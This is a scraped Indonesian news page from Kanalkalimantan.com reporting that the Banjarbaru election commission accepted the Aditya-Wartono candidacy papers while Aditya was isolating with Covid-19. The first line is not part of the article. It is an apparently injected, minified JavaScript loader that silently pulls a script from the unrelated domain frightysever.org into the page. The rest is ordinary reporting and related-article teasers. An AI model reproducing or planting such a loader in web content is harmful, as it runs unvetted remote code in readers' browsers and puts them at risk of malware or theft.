(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Meskipun tanpa kehadiran Aditya Mufti Ariffin yang saat ini masih terpapar Covid-19, KPU Banjarbaru menyatakan berkas pencalonan Aditya-Wartono yang diusung gabungan partai PPP, PDIP dan Gerindra, lengkap.
Menyusul terpenuhinya kelengkapan persyaratan pendaftaran, pasangan yang mengangkat slogan ‘Banjarbaru Juara’ akronim dari Maju, Agamis dan Sejahtera ini, langsung disambut gembira pendukungnya.
Wartono menyatakan rasa syukurnya ihwal dokumen pendaftaran dirinya dan Aditya yang telah dinyatakan lengkap dan diterima KPU Banjarbaru.
Memang diakuinya, dalam proses pendaftaran ini, banyak relawan dan simpatisan yang ingin berhadir. Namun, hal itu harus diurungkan guna menaati penerapan protokol kesehatan Covid-19.
“Sebelumnya pada hari ini kawan-kawan pendukung, simpatisan dan relawan mau ikut. Tetapi karena prokes Covid-19, jadi kami membatasi yang datang ke KPU,” ucapnya.
Meskipun Aditya tak bisa hadir, Wartono memastikan bahwa proses pendaftaran hari ini berjalan lancar. Ia mengungkapkan bahwa pasangannya tersebut sedang isolasi mandiri di Jakarta guna memulihkan kesehatan.
“Surat keterangan kesehatan Pak Aditya, sudah kita lampirkan ke KPU sesuai dengan aturan yang berlaku. Jadi tidak ada kendala dalam pendaftaran hari ini,” kata Ketua DPC PDIP Banjarbaru ini.
Hal tersebut juga turut dibenarkan, Ketua KPU Banjarbaru Hegar Wahyu Hidayat, yang mengungkapkan bahwa Aditya tak bisa hadir setelah dinyatakan positif Covid-19. Ia memastikan hak tersebut tidak menghalangi proses pendaftaran selama melampirkan surat keterangan hasil swab.
“Kita juga melakukan video call dengan Pak Aditya, disela-sela pemeriksaan dokumen persyaratan tadi. Alhamdulillah, beliau dalam sehat kondisi sehat, sedang menjalani isolasi mandiri di Jakarta,” ujar Hegar.
Ketua KPU Banjarbaru juga menyatakan bahwa Aditya tidak diperkenankan mengikuti tes kesehatan, sebelum dinyatakan negatif Covid-19 berdasarkan hasil tes usap. Oleh karena itu, pihaknya memberikan dispensasi kepada Aditya dalam tahapan tes kesehatan.
“Sebenarnya untuk tes kesehatan berdasarkan jadwal, berakhir pada 11 September. Nah, untuk kasus Covid-19 tidak ada pembatasan. Setelah hasilnya negatif baru kita bisa kita berikan surat pengantar tes kesehatan di RSUD Ulin,” tutup Hegar. (Kanalkalimantan.com/rico)
Reporter: Rico
Editor: Cell
KANALKALIMANTAN.COM, MARTAPURA - Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Musrenbang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 49 mahasiswa Diploma III Program Studi Gizi Poltekkes Kemenkes Banjarmasin melaksanakan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unjuk rasa BEM se Kalimantan Selatan (Kalsel) di depan gedung DPRD Provinsi… Read More
KANALKALIMANTAN.COM, PELAIHARI - Nama Haji Iriansyah mencuat di bursa Pemilihan Kepala Daerah (Pilkada) 2024 di… Read More
KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar kembali menoreh prestasi membanggakan, yakni menjadi Juara Umhn pada MTQ… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Serikat buruh yang tergabung dalam Konfederasi Serikat Buruh Seluruh Indonesia (KSBSI)… Read More
This website uses cookies.